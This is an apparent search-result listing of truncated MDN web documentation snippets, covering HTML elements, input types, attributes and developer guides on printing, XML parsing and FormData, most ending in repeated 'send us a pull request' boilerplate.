top, but instead understand formats like xhtml-mp or the older wml. this factor aside, there is one case where this strategy really shines over other methods. if the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice. this is because you have the option of
sending completely separate html, javascript, and css to phones and pcs. another case where you may be forced to use this approach is if you cannot, for whatever reason, modify your existing desktop site, and need to have a 100% separate mobile site. though it’s not ideal, at least you have this option. examples most of the major web applications you see in the wild have chosen this path, including ...
Parsing and serializing XML - Developer guides
if the document is html, the code shown above will return a document. if the document is xml, the resulting object is actually a xmldocument. the two types are essentially the same; the difference is largely historical, although differentiating has some practical benefits as well. note: ...
Printing - Developer guides
t these are some of the most common scenarios. this article provides tips and techniques for helping your web content print better. using a print style sheet add the following to your <head> tag. <link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer)
send beforeprint and afterprint events to let content determine when printing may have occurred. you can use this to adjust the user interface presented during printing (such as by displaying or hiding user interface elements during the print process). note: you can also use window.onbeforeprint and window.onafterprint to assign handlers for these events, but using eventtarget.addeventlistener() is p...
Developer guides
e unicode® bidi algorithm is part of the unicode text standard. it describes how the browser should order characters while rendering unicode text. this guide covers the algorithm in general and how it applies to content you create—especially when you build properly localized and internationalized content. using formdata objects the formdata object lets you compile a set of key/value pairs to
send using xmlhttprequest. it's primarily intended for
sending form data, but can be used independently from forms to transmit keyed data. the transmission is in the same format that the form's submit() method would use to
send the data if the form's encoding type were set to "multipart/form-data". user input and controls modern web user input goes beyond simple mouse and keyboard: think of touchscr...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
sl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin. an invalid keyword and an empty string will be handled as the anonymous keyword. example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without
sending user-credentials. <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin. <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specificatio...
HTML attribute: multiple - HTML: Hypertext Markup Language
t" value="submit"> </p> </form> note the difference in appearance between the example with multiple set and the other file input without. when the form is submitted,had we used method="get" each selected file's name would have been added to url parameters as?uploads=img1.jpg&uploads=img2.svg. however, since we are sumbitting multipart form data, we much use post. see the <form> element and
sending form data for more information. select the multiple attribute on the <select> element represents a control for selecting zero or more options from the list of options. otherwise, the <select> element represents a control for selecting a single <option> from the list of options. the control generally has a different appearance based on the presence of the multiple attribute, with most browser...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
esents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation. if present, title must contain this full description and nothing else. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles any do...
<acronym> - HTML: Hypertext Markup Language
s-browser variation. specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetacronym deprecatednon-standardchrome full support yesedge full support 12firefox full support ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
the html <address> element indicates that the enclosed html provides contact information for a person or people, or for an organization. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth. the <address> element should include the name of the person, people, or organization to which the contact information refers. <a...
<area> - HTML: Hypertext Markup Language
the html <area> element defines a hot-spot region on an image, and optionally associates it with a hypertext link. this element is used only within a <map> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents any element that accepts phrasing content. the <area> element must have an ancestor <map>, but it need not be a direct parent. implicit aria role link when href attrib...
<article>: The Article Contents element - HTML: Hypertext Markup Language
ge, application, or site, which is intended to be independently distributable or reusable (e.g., in syndication). examples include: a forum post, a magazine or newspaper article, or a blog entry. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. a given document can have multiple articles in it; for example, on a blog that shows the text of each article one after another as the reader scrolls, each post would be contained in an <article> element, possibly with one or more <section>s within. content categories flow content, sectioning content, palpable content permitted content flow content. ...
<aside>: The Aside element - HTML: Hypertext Markup Language
the html <aside> element represents a portion of a document whose content is only indirectly related to the document's main content. asides are frequently presented as sidebars or call-out boxes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that an <aside> element must not be a descendant of an <address> element. implicit aria ro...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
ever, you should not use <b> for styling text; instead, you should use the css font-weight property to create boldface text, or the <strong> element to indicate that text is of special importance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
t the text it contains in isolation from its surrounding text. it's particularly useful when a website dynamically inserts some text and doesn't know the directionality of the text being inserted. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. bidirectional text is text that may contain both sequences of characters that are arranged left-to-right (ltr) and sequences of characters that are arranged right-to-left (rtl), such as an arabic quotation embedded in an english string. browsers implement the unicode bidirectional algorithm to handle this. in this algorithm, characters are given an implicit directionality: for...
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
the html bidirectional text override element (<bdo>) overrides the current directionality of text, so that the text within is rendered in a different direction. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the text's characters are drawn from the starting point in the given direction; the individual characters' orientation is not affected (so characters don't get drawn backward, for example). content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permit...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
tion (see notes for how to change it). a url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, sectioning root, palpable content. permitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom inte...
<br>: The Line Break element - HTML: Hypertext Markup Language
the html <br> element produces a line break in text (carriage-return). it is useful for writing a poem or an address, where the division of lines is significant. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as you can see from the above example, a <br> element is included at each point where we want the text to break. the text after the <br> begins again at the start of the next line of the text block. note: do not use <br> to create margins between paragraphs; wrap them in <p> elements and use the css margin property to control their size. attributes this element's attributes include the global attributes.
<button>: The Button element - HTML: Hypertext Markup Language
for accessible, standard button functionality. by default, html buttons are presented in a style resembling the platform the user agent runs on, but you can change buttons’ appearance with css. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, interactive content, listed, labelable, and submittable form-associated element, palpable content. permitted content phrasing content but there must be no interactive content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that acc...
<cite>: The Citation element - HTML: Hypertext Markup Language
reference to a cited creative work, and must include the title of that work. the reference may be in an abbreviated form according to context-appropriate conventions related to citation metadata. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<code>: The Inline Code element - HTML: Hypertext Markup Language
s its contents styled in a fashion intended to indicate that the text is a short fragment of computer code. by default, the content text is displayed using the user agent's default monospace font. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<col> - HTML: Hypertext Markup Language
the html <col> element defines a column within a table and is used for defining common semantics on all common cells. it is generally found within a <colgroup> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. <col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list). content categories none. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. permitted parents <colgroup> only, though it can be implicitly defined a...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
="p"></content>'; </script> </body> </html> if you display this in a web browser it should look like the following. specifications this element is no longer defined by any specifications. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontent deprecatednon-standardchrome full support 35edge full support 79firefox no support 33 — 59disable...
<data> - HTML: Hypertext Markup Language
the html <data> element links a given piece of content with a machine-readable translation. if the content is time- or date-related, the <time> element must be used. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmldataelem...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
the html <datalist> element contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content. permitted content either phrasing content or zero or more <option> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom i...
<del>: The Deleted Text element - HTML: Hypertext Markup Language
be used when rendering "track changes" or source code diff information, for example. the <ins> element can be used for the opposite purpose: to indicate text that has been added to the document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this element is often (but need not be) rendered by applying a strike-through style to the text. content categories phrasing content or flow content. permitted content transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit ari...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
closed status, with a label next to the triangle. if the first child of the <details> element is a <summary>, the contents of the <summary> element are used as the label for the disclosure widget. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: the common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states. the default closed state displays only the triangle and the label inside <summary> (or a user agent-defined default string if no <summary>). this might look like the followi...
<dfn>: The Definition element - HTML: Hypertext Markup Language
text of a definition phrase or sentence. the <p> element, the <dt>/<dd> pairing, or the <section> element which is the nearest ancestor of the <dfn> is considered to be the definition of the term. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content, but no <dfn> element must be a descendant. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role term permitted ...
<div>: The Content Division element - HTML: Hypertext Markup Language
the html content division element (<div>) is the generic container for flow content. it has no effect on the content or layout until styled using css. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as a "pure" container, the <div> element does not inherently represent anything. instead, it's used to group content so it can be easily styled using the class or id attributes, marking a section of a document as being written in a different language (using the lang attribute), and so on. content categories flow content, palpable content. permitted content flow content. or (in whatwg html): ...
<dl>: The Description List element - HTML: Hypertext Markup Language
terms (specified using the <dt> element) and descriptions (provided by <dd> elements). common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, and if the <dl> element's children include one name-value group, palpable content. permitted content either: zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements. or: one or more <div> elements, option...
<dt>: The Description Term element - HTML: Hypertext Markup Language
are all defined by the immediate next <dd> element. the subsequent <dd> (description details) element provides the definition or other related text associated with the term specified using <dt>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content flow content, but with no <header>, <footer>, sectioning content or heading content descendants. tag omission must have a start tag. the end tag may be omitted if this element is immediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element. pe...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
htmlelement attributes this element includes the global attributes. specifications the <element> element was formerly in a draft specification of custom elements but it has been removed. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement deprecatednon-standardchrome ? edge ? firefox no support noie no support ...
<em>: The Emphasis element - HTML: Hypertext Markup Language
the html <em> element marks text that has stress emphasis. the <em> element can be nested, with each level of nesting indicating a greater degree of emphasis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to g...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
mbed> element embeds external content at the specified point in the document. this content is provided by an external application or other source of interactive content such as a browser plug-in. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: this topic documents only the element that is defined as part of html5. it does not address earlier, non-standardized implementation of the element. keep in mind that most modern browsers have deprecated and removed support for browser plug-ins, so relying upon <embed> is generally not wise if you want your site to be operable on the average user's browser. ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
the html <fieldset> element is used to group several controls as well as labels (<label>) within a web form. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as the example above shows, the <fieldset> element provides a grouping for a part of an html form, with a nested <legend> element providing a caption for the <fieldset>. it takes few attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
esents self-contained content, potentially with an optional caption, which is specified using the (<figcaption>) element. the figure, its caption, and its contents are referenced as a single unit. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, sectioning root, palpable content. permitted content a <figcaption> element, followed by flow content; or flow content followed by a <figcaption> element; or flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
<footer> - HTML: Hypertext Markup Language
ents a footer for its nearest sectioning content or sectioning root element. a footer typically contains information about the author of the section, copyright data or links to related documents. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, palpable content. permitted content flow content, but with no <footer> or <header> descendants. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that a <footer> element must not be a descendant of an <address>, <header...
<header> - HTML: Hypertext Markup Language
t represents introductory content, typically a group of introductory or navigational aids. it may contain some heading elements but also a logo, a search form, an author name, and other elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, palpable content. permitted content flow content, but with no <header> or <footer> descendant. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that a <header> element must not be a descendant of an <address>, <footer>...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
the html <hr> element represents a thematic break between paragraph-level elements: for example, a change of scene in a story, or a shift of topic within a section. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. historically, this has been presented as a horizontal rule or line. while it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css. content categories flow content. permitted content none, it is an empty element. ...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
omatic text, technical terms, taxonomical designations, among others. historically, these have been presented using italicized type, which is the original source of the <i> naming of this element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<input type="button"> - HTML: Hypertext Markup Language
rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label events click suppo...
<input type="checkbox"> - HTML: Hypertext Markup Language
stem configuration under which the browser is running. generally this is a square but it may have rounded corners. a checkbox allows you to select single values for submission in a form (or not). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: radio buttons are similar to checkboxes, but with an important distinction — radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be s...
<input type="color"> - HTML: Hypertext Markup Language
le textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character s...
<input type="date"> - HTML: Hypertext Markup Language
es the input or a special date picker interface. the resulting value includes the year, month, and day, but not the time. the time and datetime-local input types support time and date+time input. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the input ui generally varies from browser to browser; see browser compatibility for further details. in unsupported browsers, the control degrades gracefully to <input type="text">. among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like t...
<input type="datetime-local"> - HTML: Hypertext Markup Language
<input> elements of type datetime-local create input controls that let the user easily enter both a date and a time, including the year, month, and day as well as the time in hours and minutes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop and most modern versions of mobile browsers having usable implementations. in other browsers, these degrade gracefully to simple <input type="text"> controls. the control is intended to simply represent a local date and time, not necessarily th...
<input type="file"> - HTML: Hypertext Markup Language
e" let the user choose one or more files from their device storage. once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. value a domstring representing the path to the selected file. events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to ...
<input type="hidden"> - HTML: Hypertext Markup Language
no scripting is needed in the content to handle this. the output looks like this: note: you can also find the example on github (see the source code, and also see it running live). when submitted, the form data sent to the server will...
<input type="month"> - HTML: Hypertext Markup Language
r enter a month and year allowing a month and year to be easily entered. the value is a string whose value is in the format "yyyy-mm", where yyyy is the four-digit year and mm is the month number. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop — and most modern mobile browser versions — having usable implementations. in browsers that don't support month inputs, the control degrades gracefully to a simple <input type="text">, although there may be automatic validation of the ente...
<input type="number"> - HTML: Hypertext Markup Language
n validation to reject non-numerical entries. the browser may opt to provide stepper arrows to let the user increase and decrease the value using their mouse or by simply tapping with a fingertip. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty. events change and input supported common attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() ...
<input type="password"> - HTML: Hypertext Markup Language
t is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("*") or a dot ("•"). this character will vary depending on the user agent and os. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. no...
<input type="radio"> - HTML: Hypertext Markup Language
t of related options. only one radio button in a given group can be selected at the same time. radio buttons are typically rendered as small circles, which are filled or highlighted when selected. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. they are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below. note: checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where mult...
<input type="range"> - HTML: Hypertext Markup Language
or dial control rather than a text entry box like the number input type. because this kind of widget is imprecise, it shouldn't typically be used unless the control's exact value isn't important. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. events change and input supported common attributes autocomplete, list, max, min, and step idl attrib...
<input type="reset"> - HTML: Hypertext Markup Language
<input> elements of type "reset" are rendered as buttons, with a default click event handler that resets all of the inputs in the form to their initial values. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. you should usually avoid including reset buttons in your forms. they're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the submit button). value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none ...
<input type="time"> - HTML: Hypertext Markup Language
od in modern browsers, with safari being the sole major browser not yet implementing it; in safari, and any other browsers that don't support <time>, it degrades gracefully to <input type="text">. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. appearance chrome and opera in chrome/opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component. in some versions, an "x" button is provided to clear the control's value. 12-hour 24-hour chrome 83 in chrome 83, t...
<input type="week"> - HTML: Hypertext Markup Language
<input> elements of type week create input fields allowing easy entry of a year plus the iso 8601 week number during that year (i.e., week 1 to 52 or 53). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only chrome/opera and microsoft edge supporting it at this time. in non-supporting browsers, the control degrades gracefully to function identically to <input type="text">. in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more v...
<ins> - HTML: Hypertext Markup Language
the html <ins> element represents a range of text that has been added to a document. you can use the <del> element to similarly represent a range of text that has been deleted from the document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories phrasing content or flow content. permitted content transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htm...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
y other text entry device. by convention, the user agent defaults to rendering the contents of a <kbd> element using its default monospace font, although this is not mandated by the html standard. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. <kbd> may be nested in various combinations with the <samp> (sample output) element to represent various forms of input or output based on visual cues. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted...
<label> - HTML: Hypertext Markup Language
associating a <label> with an <input> element offers some major advantages: the label text is not only visually associated with its corresponding text input; it is programmatically associated with it too. ...
<li> - HTML: Hypertext Markup Language
in menus and unordered lists, list items are usually displayed using bullet points. in ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content flow content. tag omission the end tag can be omitted if the list item is immediately followed by another <li> element, or if there is no more content in its parent element. permitted parents an <ul>, <ol>, or <menu> element. though not a conforming usage, the obsolete <dir> can also be ...
<listing> - HTML: Hypertext Markup Language
l elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlisting deprecatedchrome no support noedge no support nofirefox no support nonotes ...
<main> - HTML: Hypertext Markup Language
of the <body> of a document. the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. a document mustn't have more than one <main> element that doesn't have the hidden attribute specified. content categories flow content, palpable content. permitted content flow content. tag omission none; both the starting and ending tags are mandatory. permitted parents where flow content is expected, but only if it is a hierar...
<mark>: The Mark Text element - HTML: Hypertext Markup Language
the html mark text element (<mark>) represents text which is marked or highlighted for reference or notation purposes, due to the marked passage's relevance or importance in the enclosing context. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
f a page whose purpose is to provide navigation links, either within the current document or to other documents. common examples of navigation sections are menus, tables of contents, and indexes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role navigation permitted aria roles no role permitted do...
<object> - HTML: Hypertext Markup Language
the html <object> element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submittable form-associated element. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that acce...
<option>: The HTML Option element - HTML: Hypertext Markup Language
ement is used to define an item contained in a <select>, an <optgroup>, or a <datalist> element. as such, <option> can represent menu items in popups and other lists of items in an html document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content text, possibly with escaped characters (like é). tag omission the start tag is mandatory. the end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <o...
<p>: The Paragraph element - HTML: Hypertext Markup Language
